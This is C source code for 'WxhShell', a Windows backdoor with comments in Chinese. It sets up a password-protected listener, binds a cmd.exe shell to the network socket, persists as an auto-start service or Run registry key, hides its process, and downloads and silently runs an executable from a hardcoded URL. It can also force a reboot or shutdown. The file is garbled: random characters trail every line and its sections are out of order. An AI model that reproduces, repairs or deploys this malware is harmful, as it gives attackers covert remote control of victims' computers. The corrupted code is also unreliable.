    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e# bn#  
    if(Boot(SHUTDOWN)) g=rbPbu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c`W,~[Q<O+  
    else { y)*RV;^  
    closesocket(wsh); H>C=zo,oiC  
    ExitThread(0); Cyp'?N  
    } olcDt&xv]  
    break; Y$zSQ_k;U  
    } Q.[0ct  
  // 获取shell P*o9a  
  case 's': { ;=N# `l  
    CmdShell(wsh); 9B4&m|g  
    closesocket(wsh); *`U~?q}  
    ExitThread(0); 0aAoV0fMDz  
    break; 2?x4vI np;  
  } H#&00Q[  
  // 退出 h$*!8=M  
  case 'x': { Ls%MGs9PI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _Y!IEAU/#  
    CloseIt(wsh); Q20 %"&Xp]  
    break; M?qy(zb  
    } Z}QB.$&  
  // 离开 rGO8!X 3d  
  case 'q': { a =QCp4^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $C\BcKlmv  
    closesocket(wsh); ZW}_DT0  
    WSACleanup(); MJvp6n  
    exit(1); nR~(0G,H  
    break; nwWJ7M,A  
        } }*-@!wc-N  
  } <q SC#[xu  
  } nlYNN/@"  
1qch]1 ^G  
  // 提示信息 :>*7=q=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _L PHPj^Pg  
} w@b)g  
  } (?c-iKGc  
pGZ8F  
  return; G9lUxmS<  
} 7"mc+QOp  
Zh,71Umz  
// shell模块句柄 g ?k=^C  
int CmdShell(SOCKET sock) IU[ [ H#  
{ #jk_5W  
STARTUPINFO si; TO_e^A#  
ZeroMemory(&si,sizeof(si)); `g,..Ns-r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ngwb Q7)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WM{=CD  
PROCESS_INFORMATION ProcessInfo; xmX 4qtAL  
char cmdline[]="cmd"; /B3iC#?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); G"6 !{4g  
  return 0; O}P`P'Y|'  
} *fdTpXa  
~BF&rx5Q  
// 自身启动模式 j6YOKJX  
int StartFromService(void) ;,TFr}p`  
{ \8 ":]EU  
typedef struct Tk>#G{Wb-  
{ yuVs YV@"  
  DWORD ExitStatus; GmG 5[?)  
  DWORD PebBaseAddress; U(Zq= M  
  DWORD AffinityMask; 9z0p5)]n>  
  DWORD BasePriority; =I4lL]>  
  ULONG UniqueProcessId; iwq!w6+  
  ULONG InheritedFromUniqueProcessId; [e q&C_|D  
}   PROCESS_BASIC_INFORMATION; :U\tv[  
,bd_:  
PROCNTQSIP NtQueryInformationProcess; @,}UWU  
=vPj%oLp'a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; So;<6~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; I|OoRq  
92c HwWZ!  
  HANDLE             hProcess; T+$[eWk"a  
  PROCESS_BASIC_INFORMATION pbi; B[}6-2<>?C  
H.;Q+A,8^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pw#-_  
  if(NULL == hInst ) return 0; @L`jk+Y0vF  
K'xV;r7Nt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S @Y39  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 83m3OD_y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5N]"~w*  
pdMc}=K  
  if (!NtQueryInformationProcess) return 0; @d_M@\r=j  
KXrjqqXs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i@q&5;%%  
  if(!hProcess) return 0; k!^{eOM  
K@2),(z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Fcx&hj1gQ  
}qUX=s GG  
  CloseHandle(hProcess); $j~RWfw-  
t:S+%u U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gr{ DWCK  
if(hProcess==NULL) return 0; z{543~Og59  
]iWRo'  
HMODULE hMod; {vj)76%y  
char procName[255]; "~nZ G iK  
unsigned long cbNeeded; Zfw,7am/  
*Ly6`HZ9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [;N'=]`  
NlqImM=r,  
  CloseHandle(hProcess); l}h!B_P'  
N mG#   
if(strstr(procName,"services")) return 1; // 以服务启动 0]L"H<W  
m'U0'}Ld};  
  return 0; // 注册表启动 N+|d3X!  
} m~|40)   
;"I^ZFYX  
// 主模块 cNrg#Asen&  
int StartWxhshell(LPSTR lpCmdLine) /QQ*8o8  
{ )+^+s d  
  SOCKET wsl; ~Ei<Z`3}7"  
BOOL val=TRUE; +3gp%`c4  
  int port=0; TpaInXR  
  struct sockaddr_in door; CITc2v3a  
;a/E42eN;  
  if(wscfg.ws_autoins) Install(); !Cs_F&l"j  
f<_Cq <q"  
port=atoi(lpCmdLine); ]GS bjHsO  
A,]h),b  
if(port<=0) port=wscfg.ws_port; km(Po}  
Wqnc{oq |$  
  WSADATA data; Sz~OX6L  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `L zPotz  
wzA$'+Mb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [^)g%|W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OI*H,Z "  
  door.sin_family = AF_INET; 0Gk<l{o?^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dr(*T  
  door.sin_port = htons(port); m 5.Zu.  
v19-./H^ j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]'cs.  
closesocket(wsl); =l6mL+C  
return 1; #E?4E1bnB  
} %>yL1BeA4  
\+etCo   
  if(listen(wsl,2) == INVALID_SOCKET) { M:8R -c#![  
closesocket(wsl); `uFdwO'DD  
return 1; {ax:RUQxy  
} /z!%d%"  
  Wxhshell(wsl); }C:r 9? T  
  WSACleanup(); E./2jCwI(Y  
:/#rZPPF  
return 0; > I?IPQB  
8}[).d160  
} XX@ZQcN  
T%Lx%Qn  
// 以NT服务方式启动 .>S!ji  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ba,`TJ%y  
{ eRYK3W  
DWORD   status = 0; \RiP  
  DWORD   specificError = 0xfffffff; *hx  
uZ5p#M_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +z( Lr=G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eDMO]5}Ht  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; +TJCLZ..  
  serviceStatus.dwWin32ExitCode     = 0; 2iOV/=+  
  serviceStatus.dwServiceSpecificExitCode = 0; |=w@H]r  
  serviceStatus.dwCheckPoint       = 0; = &]L00u.  
  serviceStatus.dwWaitHint       = 0; BLttb  
Wri<h:1  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b sX[UF  
  if (hServiceStatusHandle==0) return; pkzaNY/q  
DrR@n~  
status = GetLastError(); ZH8,K Y"  
  if (status!=NO_ERROR) ?}0,o.  
{ |N2#ItBbW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >j/w@Fj  
    serviceStatus.dwCheckPoint       = 0; tYS06P^<  
    serviceStatus.dwWaitHint       = 0; KHme&yMq  
    serviceStatus.dwWin32ExitCode     = status; ]`K2 N  
    serviceStatus.dwServiceSpecificExitCode = specificError; `Oa WGZ[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~a:  
    return; m@c)Xci  
  } rH-23S  
NOva'qk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /7kC<  
  serviceStatus.dwCheckPoint       = 0; p'%s=TGwv  
  serviceStatus.dwWaitHint       = 0; WE?5ehEme  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]/Pn EU[  
} fex@,I&  
f8~_E  
// 处理NT服务事件,比如:启动、停止 Tbq;h ?D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <YY14p  
{ >Ry01G]_/h  
switch(fdwControl) *pq\MiD/  
{ !zo{tI19  
case SERVICE_CONTROL_STOP: a9gLg &  
  serviceStatus.dwWin32ExitCode = 0; CrLrw T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^sw?gH*  
  serviceStatus.dwCheckPoint   = 0; ";F'~}bDA  
  serviceStatus.dwWaitHint     = 0; i@yC-))bY  
  { s_Sk0}e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;TYBx24vD'  
  } Dtk=[;"k2a  
  return; p+eh%2Jm  
case SERVICE_CONTROL_PAUSE: se)TzI^]b@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /x hKd]Q  
  break; 1#x0q:6  
case SERVICE_CONTROL_CONTINUE: F%|h;+5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D~m*!w*  
  break; aUp g u"  
case SERVICE_CONTROL_INTERROGATE: ]9CFIh  
  break; ^!d3=}:0  
}; p{_ " bB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @C$]//;  
} s<Ziegmw|g  
+>,I1{u%&  
// 标准应用程序主函数 m`XHKRp  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3BI1fXT4=j  
{ s!J9|]o  
R_C)  
// 获取操作系统版本 _f83-':W6  
OsIsNt=GetOsVer(); ^('wy};  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (=0.inZ  
XSR 4iu  
  // 从命令行安装 V0@=^Bls  
  if(strpbrk(lpCmdLine,"iI")) Install(); # d  
Vr}'.\$  
  // 下载执行文件 l#o ~W`  
if(wscfg.ws_downexe) { .A|udZ,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )5, v!X)  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7#XzrT]  
} {c'lhUB  
]Ze1s02(  
if(!OsIsNt) { 0B2t"(&  
// 如果时win9x,隐藏进程并且设置为注册表启动 4x34u}l  
HideProc(); %J(:ADu]  
StartWxhshell(lpCmdLine); W\3X=@|u)  
} Y<OFsWYY  
else dPlV>IM$z  
  if(StartFromService()) T)/eeZ$  
  // 以服务方式启动 o/E >f_k[  
  StartServiceCtrlDispatcher(DispatchTable); jcOcWB|  
else 1}x%%RD_  
  // 普通方式启动 HJ"GnZp<  
  StartWxhshell(lpCmdLine); uRvP hkqm  
,+k\p5P  
return 0; [y(MCf19  
} @gblW*Zhk  
L!92P{K  
%b$>qW\*&  
_6Sp QW  
=========================================== B\~}3!j  
/uflpV|  
Z.,MVcd  
oA 1yIp  
XFl 6M~ c  
{: /}NpA$  
" ?uu*L6  
aE8VZ8tvq  
#include <stdio.h> |yCMt:Hk  
#include <string.h> kiEa<-]  
#include <windows.h> e~OpofJNb  
#include <winsock2.h> 2y4bwi  
#include <winsvc.h> *dQSw)R  
#include <urlmon.h> 5pX6t  
f*Hr^b}`8  
#pragma comment (lib, "Ws2_32.lib") z{ dEC %  
#pragma comment (lib, "urlmon.lib") &C}*w2]0S  
=_CzH(=f#  
#define MAX_USER   100 // 最大客户端连接数 rq{$,/6.  
#define BUF_SOCK   200 // sock buffer }BEB1Q}L  
#define KEY_BUFF   255 // 输入 buffer w;M#c Y  
81F9uM0  
#define REBOOT     0   // 重启 vM={V$D&  
#define SHUTDOWN   1   // 关机 e\rp)[>'  
$xsd~L &  
#define DEF_PORT   5000 // 监听端口 -"x$ZnHU  
E .h*g8bXe  
#define REG_LEN     16   // 注册表键长度 0GwR~Z}Z  
#define SVC_LEN     80   // NT服务名长度 5xiEPh  
).O)p9  
// 从dll定义API KNl$3nX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); inL(X;@yo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "]*tLL:`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0-gAyiKx?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @7 }W=HB  
>P(.:_ ^p  
// wxhshell配置信息 Uo49*Mr  
struct WSCFG { ?,/ }`3Vw  
  int ws_port;         // 监听端口 (3e 2c  
  char ws_passstr[REG_LEN]; // 口令 kJU2C=m@e2  
  int ws_autoins;       // 安装标记, 1=yes 0=no  " bG2:  
  char ws_regname[REG_LEN]; // 注册表键名 PT ~D",k  
  char ws_svcname[REG_LEN]; // 服务名 JF]JOI6.e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sO Y:e/_F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +@UV?"d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 42{~Lhxt  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (FV >m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %b0*H_ok7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~*7]r`6\@  
GgU/ !@  
}; )b)zm2;  
/v}`l  
// default Wxhshell configuration *8q.YuZ  
struct WSCFG wscfg={DEF_PORT, +ZYn? #IQ  
    "xuhuanlingzhe", !D6]JPX  
    1, !-bB559Nv  
    "Wxhshell", 2wn2.\v M  
    "Wxhshell", KvS G;  
            "WxhShell Service", 4i bc  
    "Wrsky Windows CmdShell Service", xw%0>K[  
    "Please Input Your Password: ", {g6%(X\r.r  
  1, y`Fw-!'o  
  "http://www.wrsky.com/wxhshell.exe", bt *k.=p  
  "Wxhshell.exe" d9ihhqq3}  
    }; Bvj0^fSm  
-Za/p@gM  
// 消息定义模块 =N@t'fOr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }]Tx lSp!;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; *hrd5na  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; INf&4!&h  
char *msg_ws_ext="\n\rExit."; CLSK'+l  
char *msg_ws_end="\n\rQuit."; Xj*Wu_  
char *msg_ws_boot="\n\rReboot..."; hZ3bVi)L\  
char *msg_ws_poff="\n\rShutdown..."; 5;?yCWc  
char *msg_ws_down="\n\rSave to "; 1M-pr 8:6s  
p_ =z#  
char *msg_ws_err="\n\rErr!"; G3]4A&h9v~  
char *msg_ws_ok="\n\rOK!"; E7hhew  
DIvHvFss  
char ExeFile[MAX_PATH]; i4Jc.8^9$  
int nUser = 0; oU|c.mYe  
HANDLE handles[MAX_USER]; |qLh5Ty  
int OsIsNt; =41xkAMnk  
8MBAtVmy  
SERVICE_STATUS       serviceStatus; e!`i3KYn"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !k%#R4*>  
<{pz<io)  
// 函数声明 ^aQ"E9  
int Install(void); g}i61(  
int Uninstall(void); PH"%kCI:  
int DownloadFile(char *sURL, SOCKET wsh); +p^u^a  
int Boot(int flag); l%ZhA=TKQ  
void HideProc(void); J1kM\8%b\  
int GetOsVer(void); wBzC5T%,  
int Wxhshell(SOCKET wsl); ]9L oZ)  
void TalkWithClient(void *cs); fVwU e _Y  
int CmdShell(SOCKET sock); f::Dx1VcX  
int StartFromService(void); 'yth'[  
int StartWxhshell(LPSTR lpCmdLine); B *vM0  
$(9U@N9E  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !W0v >p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \ jA~9  
+"(jjxJm  
// 数据结构和表定义 !BI;C(,RL  
SERVICE_TABLE_ENTRY DispatchTable[] = /(T?j!nPE  
{ S'14hk<  
{wscfg.ws_svcname, NTServiceMain}, Qd6FH2Pl  
{NULL, NULL} *VeRVaBl  
}; =xrv~  
^.G$Q#y,  
// 自我安装 HDKbF/  
int Install(void) ] - .aL  
{ b[yiq$K/  
  char svExeFile[MAX_PATH]; 7rA;3?p)  
  HKEY key; 8Y3I0S  
  strcpy(svExeFile,ExeFile); y]im Z4{/  
} %z   
// 如果是win9x系统,修改注册表设为自启动 aT<q=DO  
if(!OsIsNt) { "ta x?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R3! t$5HG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jal-9NV)!  
  RegCloseKey(key); HThcn1u~^b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Z+%d9ode  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KG@8RtHsQ  
  RegCloseKey(key); &{RDM~  
  return 0; G j1_!.T  
    } ;]fs'LH  
  } C7vxw-o|&p  
} OTp]Xe/  
else { fV:83|eQ  
.o8t+X'G  
// 如果是NT以上系统,安装为系统服务 @6d[=!9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iUwzs&frd  
if (schSCManager!=0) m4& /s  
{ nie%eC&U  
  SC_HANDLE schService = CreateService Wf<LR3  
  ( I|J/F}@p  
  schSCManager, Mlq.?-QgIL  
  wscfg.ws_svcname, mt`.6Xz~  
  wscfg.ws_svcdisp, h$=2p5'-  
  SERVICE_ALL_ACCESS, 8[>zG2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W`&hp6Jq  
  SERVICE_AUTO_START, L(o15  
  SERVICE_ERROR_NORMAL, e*!kZAf  
  svExeFile, qVPeB,kIz  
  NULL, rbQR,Nf2x  
  NULL, CNIsZ v@Q  
  NULL, RL<c>PY  
  NULL, Ha ]YJ}  
  NULL 5?L<N:;J_  
  ); KU;9}!#  
  if (schService!=0) d1kJRJ   
  { iCyf Oh  
  CloseServiceHandle(schService); _rYkis^ u  
  CloseServiceHandle(schSCManager); |%v^W3  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iO[<1?  
  strcat(svExeFile,wscfg.ws_svcname); Il.K"ll  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >f'g0g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &/b~k3{M_  
  RegCloseKey(key); MPk5^ua:  
  return 0; rs.M]8a2{&  
    } 8V(pugJ  
  } PVOv[%  
  CloseServiceHandle(schSCManager); Vg23!E  
} njw|JnDv  
} Tf)*4O4@'  
fAmz4  
return 1; y==CT Y@  
} $SE^S   
1 .X@;  
// 自我卸载 EzIGz[  
int Uninstall(void) y?:.;%!E  
{ TPY}C  
  HKEY key; rbpSg7}Q  
:ivf/x n  
if(!OsIsNt) { j=J/x:w_e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?rIx/>C9  
  RegDeleteValue(key,wscfg.ws_regname); g ci    
  RegCloseKey(key); 0^ibNiSP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4&f3%eTi  
  RegDeleteValue(key,wscfg.ws_regname); ;GI&lpKK  
  RegCloseKey(key); Z)\@i=m  
  return 0; K@#L)VT!  
  } :@)>r9N  
} MS]r:X6  
} ]7mt[2 Cd  
else { gdoLyxQ  
-gWZwW/lD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /=, nGk>  
if (schSCManager!=0) "vslZ`RU  
{ Q|L~=9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); wT\49DT"7  
  if (schService!=0) j+(I"h3  
  { _~ &iq1  
  if(DeleteService(schService)!=0) { <9%R\_@$H  
  CloseServiceHandle(schService); g[t [/TV   
  CloseServiceHandle(schSCManager); * H9 8Du  
  return 0; W];dD$Oqg  
  } m_l[MG\  
  CloseServiceHandle(schService); A4ygW:  
  } P2*<GjV`S/  
  CloseServiceHandle(schSCManager); kxRV )G  
} g4@ lM"|S  
} ow#1="G,=  
42{:G8  
return 1; ; Hd7*`$  
} 1r7y]FyH$  
[sb[Z:  
// 从指定url下载文件 M xG W(p  
int DownloadFile(char *sURL, SOCKET wsh) #u + v_  
{ _,d~}_$`i  
  HRESULT hr; @fV9 S"TcM  
char seps[]= "/"; 69 o 7EA  
char *token; .}`Ix'.  
char *file; 6(e>P)  
char myURL[MAX_PATH]; : \}(& >  
char myFILE[MAX_PATH]; 2[;_d;oB@  
QVE6We  
strcpy(myURL,sURL); nQ L@hc  
  token=strtok(myURL,seps); S[T8T|_  
  while(token!=NULL) Q dp)cT  
  { B~du-Z22IZ  
    file=token; D1mfm.9_r^  
  token=strtok(NULL,seps); I0 RvnMw  
  } BRYHX.}h\A  
^ K E%C;u  
GetCurrentDirectory(MAX_PATH,myFILE); +t:0SRSt  
strcat(myFILE, "\\"); (@}!0[[^  
strcat(myFILE, file); {91nL'-'  
  send(wsh,myFILE,strlen(myFILE),0); kE(mVyLQ  
send(wsh,"...",3,0); 0<B$#8  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tdaL/rRe  
  if(hr==S_OK) H$KTo/  
return 0; zkdetrR  
else  :#~j:C|  
return 1; OaZQ7BGq  
)tnh4WMh}  
} * +wW(#[  
a -moI+y  
// 系统电源模块 F.v{-8GV  
int Boot(int flag) L z1ME(  
{ UOmY-\ &c  
  HANDLE hToken; @oad,=R&  
  TOKEN_PRIVILEGES tkp; UEVG0qF  
63~ E#Dt4  
  if(OsIsNt) { 9?3&?i2-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); <V6VMYXY4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); c:u5\&~{  
    tkp.PrivilegeCount = 1; uL/m u<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ji 0 tQV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FjI`uP  
if(flag==REBOOT) { 1~QPG\cdIX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .q3/_*  
  return 0; y<bDTeoo  
} Iy3GE[  
else { 7 ^mL_SMj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lo!+f"7ym\  
  return 0; dmN&+t  
} g2/8~cn8z  
  } {T Ug. %u  
  else { R+,u^;\  
if(flag==REBOOT) { KFkoS0M5|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XNu^`Ha  
  return 0; :TC@tM~Oy  
} NL0n009"c$  
else { QS]1daMIK<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Mzw X>3x  
  return 0; H? y,ie#u  
} *``JamnSO  
} !GEJIefx_  
N<KS(@v y  
return 1; O|N{ v"o  
} xLZG:^(I  
a"g!e^  
// win9x进程隐藏模块 *%t^;&x?  
void HideProc(void) M>8A\;"  
{ 3CGp`~Zf  
a,#j =  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B[?CbU  
  if ( hKernel != NULL ) Y,e B|  
  { 0|\$Vp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Uwx E<=z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y0K[Sm>  
    FreeLibrary(hKernel); ?vHU #  
  } :+|Z@KB  
[o5Hl^  
return; Jl9k``r*  
} fku<,SV$O4  
4^OY C  
// 获取操作系统版本 df#$ 9 -  
int GetOsVer(void) TSWM |#u':  
{ cX OK)g#  
  OSVERSIONINFO winfo; =-lb)Z"d  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); u21EP[[,  
  GetVersionEx(&winfo); P0PWJ^+,+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tlp@?(u  
  return 1; 3az&<Pqb  
  else b e^6i:  
  return 0; 9lH?-~9  
} ce3YCflt  
gH7|=W  
// 客户端句柄模块 WoRZW%  
int Wxhshell(SOCKET wsl) N;j)k;  
{ s1=G;  
  SOCKET wsh; -JjM y X  
  struct sockaddr_in client; `&sH-d4v  
  DWORD myID; E5lBdM>2  
GMl;7?RA  
  while(nUser<MAX_USER) -kwXvYu\  
{ _ T):G6C8  
  int nSize=sizeof(client); f|lU6EkU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i`$*T y"x  
  if(wsh==INVALID_SOCKET) return 1; qXe8Kto  
I \JGs@I   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); >!1.  
if(handles[nUser]==0) Jrpx}2'9:a  
  closesocket(wsh); 25[I=ZdS  
else s;vHPUB\n  
  nUser++; vf%&4\ib  
  } ,.1Psz^U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,lA  s  
|3[Wa^U5  
  return 0; CxG#"{&  
} 6WJ)by  
"Yj'oE% \  
// 关闭 socket aAMVsE{  
void CloseIt(SOCKET wsh) C-MjJ6D<  
{ zvH8^1yzG  
closesocket(wsh); :Ab%g-  
nUser--; T7u%^xm  
ExitThread(0); )MchsuF<  
} }n2M G  
`Kr,>sEAM  
// 客户端请求句柄 ;^%4Q"  
void TalkWithClient(void *cs) QKN+>X  
{ 474SMx$  
nd1+"-,q  
  SOCKET wsh=(SOCKET)cs; 4k_vdz  
  char pwd[SVC_LEN]; 5ZK@`jkE  
  char cmd[KEY_BUFF]; YLv'43PL  
char chr[1]; es&vMY  
int i,j; Y+*0~xm4  
O-I[igNl  
  while (nUser < MAX_USER) { f;gw"onx8F  
T<p !5`B1  
if(wscfg.ws_passstr) { EYEnN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); h+&OQ%e=8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `FTy+8mw  
  //ZeroMemory(pwd,KEY_BUFF); =mpV YA  
      i=0; v`zJb00DT  
  while(i<SVC_LEN) { gSUcx9f]  
9:1Q1,-i!-  
  // 设置超时 hB>oJC  
  fd_set FdRead; iQ fJ  
  struct timeval TimeOut; C3],n   
  FD_ZERO(&FdRead); ~SF<,-Kg  
  FD_SET(wsh,&FdRead); I3mGo  
  TimeOut.tv_sec=8; lXiKY@R#  
  TimeOut.tv_usec=0; P5nO78  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]? g@jRs  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Dq5j1m.  
FrYqaP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p@5`& Em,  
  pwd=chr[0]; u TK,&  
  if(chr[0]==0xd || chr[0]==0xa) { k+Czj  
  pwd=0; 8b-Q F  
  break; A?%H=>v$  
  } YSh+pr  
  i++; 5$&%re!{Z  
    } G]i/nB  
s<_)$}  
  // 如果是非法用户,关闭 socket >eB\(EP  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \$\ENQ;Nk  
} ^T$|J;I  
RBm ;e0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); vUU9$x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o .G!7  
<55 g3>X  
while(1) { C/kW0V7  
"C19b:4H  
  ZeroMemory(cmd,KEY_BUFF); |J} Mgb-4  
 L0@SCt  
      // 自动支持客户端 telnet标准   s4SG[w!d  
  j=0; 9qz6]-K  
  while(j<KEY_BUFF) { a]/>ra5{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vbBc}G"w  
  cmd[j]=chr[0]; FCuB\ Q  
  if(chr[0]==0xa || chr[0]==0xd) { \r,Q1n?7  
  cmd[j]=0; Rh{zH~oZ  
  break; 7-T{a<g  
  } A1#%`^W9  
  j++; #+5pgD2C  
    } aL%AQB,  
{{MRELipW  
  // 下载文件 9Hu/u=vB<  
  if(strstr(cmd,"http://")) { JSW}*HR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X+}1  
  if(DownloadFile(cmd,wsh)) "4H +!r}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Z# W_R\l  
  else V<@ o<R  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k"]dK,,  
  } NchXt6$i9  
  else { ?5 cI'  
<U >>ZSi  
    switch(cmd[0]) { V8-oYwOR  
